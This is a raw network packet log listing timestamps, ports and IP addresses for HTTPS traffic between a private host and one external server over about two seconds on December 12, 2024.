Dec 12, 2024 16:47:20.495981932 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.498613119 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.502054930 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.502217054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.502391100 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.502439022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.502453089 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.502465010 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.502477884 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.513921976 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.531486988 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.551839113 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552160025 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552212000 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.552226067 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552238941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552321911 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552401066 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552413940 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552505016 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552555084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552649975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552661896 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.552839041 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.570904970 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.571079969 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.574115038 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.622621059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.647567034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.647994995 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.648962975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.649092913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.649105072 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.649175882 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.649188042 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.649200916 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.649296999 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.649302959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.649305105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.652950048 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.783916950 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794563055 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794600010 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794708967 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794723034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794739008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794835091 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794850111 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794898987 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.794918060 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.800009012 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.813956976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.831149101 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.831206083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.831259012 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.831269979 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.831665039 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.837882996 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855145931 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855261087 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855309010 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855506897 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855520010 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855635881 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855715990 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855722904 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855729103 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.855839968 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855882883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.855895996 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.856137037 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.869064093 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.890772104 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.896512032 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.910110950 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910155058 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910248041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910335064 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910342932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910407066 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910444021 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910458088 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910478115 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.910578966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910590887 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910609961 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.910904884 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.929604053 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.929703951 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:20.959481001 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:20.976620913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.005398989 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.019709110 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020140886 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020155907 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020179033 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020189047 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.020267010 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020281076 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020293951 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020308018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020421982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020436049 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.020452976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.021023989 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.035583973 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.035605907 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.035625935 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.035754919 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.035769939 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.035784006 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.066517115 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.131216049 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.162327051 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.171442032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.171513081 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.171593904 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.171605110 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.171830893 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.206252098 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.216003895 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.217596054 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.217753887 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.218816042 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.221885920 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.232074976 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.232259989 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.268177032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.375977993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.511076927 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.536849022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.536866903 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.536886930 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.536897898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.542856932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.542877913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.542926073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.542941093 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.542952061 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.543390989 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.547600985 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.547620058 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.547641993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.547653913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.547666073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.547852993 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.551393986 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551546097 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551611900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551649094 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551748991 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551760912 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551878929 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551903963 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551915884 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.551986933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.552004099 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.555977106 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.556027889 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.556118011 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.556129932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.556140900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.556231976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.556515932 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.583566904 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.584537029 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.584770918 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.593282938 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.593368053 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.593688011 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.593688965 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.593713999 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.593805075 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.593818903 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.593828917 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.597712040 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.597719908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.597724915 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.598000050 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.631702900 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.655054092 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.899570942 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.899597883 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.899981022 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.904917955 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.904968023 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.905038118 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.905267954 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.905267954 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:21.935508013 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.968482018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.988889933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.999460936 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.999474049 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.999593019 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.999599934 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.999610901 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:21.999963999 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.000127077 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.000127077 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.002536058 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.002695084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.002859116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.002866983 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.002877951 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.002885103 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.002893925 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.002918959 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.003026962 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003201008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003207922 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003223896 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003396988 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003403902 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003410101 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003415108 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003422022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.003429890 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.029356003 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.057825089 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.058167934 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.247438908 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.340004921 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.342196941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.379766941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.379817009 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.381686926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.381838083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.381932974 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.381962061 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.382236958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382303953 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382445097 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382539034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382549047 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382675886 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382684946 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382695913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382766008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382842064 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382852077 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382864952 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382872105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.382878065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.383131981 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.383138895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.383508921 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.388916016 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.389090061 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.389096022 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.389302969 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.389302969 CET	59186	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.397871017 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.397967100 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.398133039 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.398138046 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.398147106 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.398164988 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.398180008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.398206949 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.398214102 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.398402929 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.398413897 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412034035 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412317991 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412328959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412410975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412436008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412465096 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.412518024 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412527084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412540913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412636042 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.412837982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.419667959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.419723034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.419771910 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.419781923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.419955015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.419961929 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.420010090 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.420021057 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.420031071 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.420043945 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.420136929 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.433624983 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.433825970 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.433850050 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.433857918 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.433873892 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.433897018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.433990002 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.433998108 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.434010983 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.434098959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.434149027 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.449789047 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.449866056 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.449876070 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.449994087 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.450001001 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.450014114 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.450021982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.450118065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.450164080 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.450171947 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.450180054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457267046 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457326889 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457335949 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457483053 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457490921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457498074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457509041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457636118 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457647085 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457659960 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.457676888 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.470072985 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470122099 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470129967 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470163107 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470258951 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470266104 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470273018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470278978 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470490932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.470499039 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.472489119 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.484287977 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484296083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484308958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484391928 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484399080 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484410048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484416008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484575987 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484616041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484622955 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.484761953 CET	51057	443	192.168.2.8	23.44.203.13
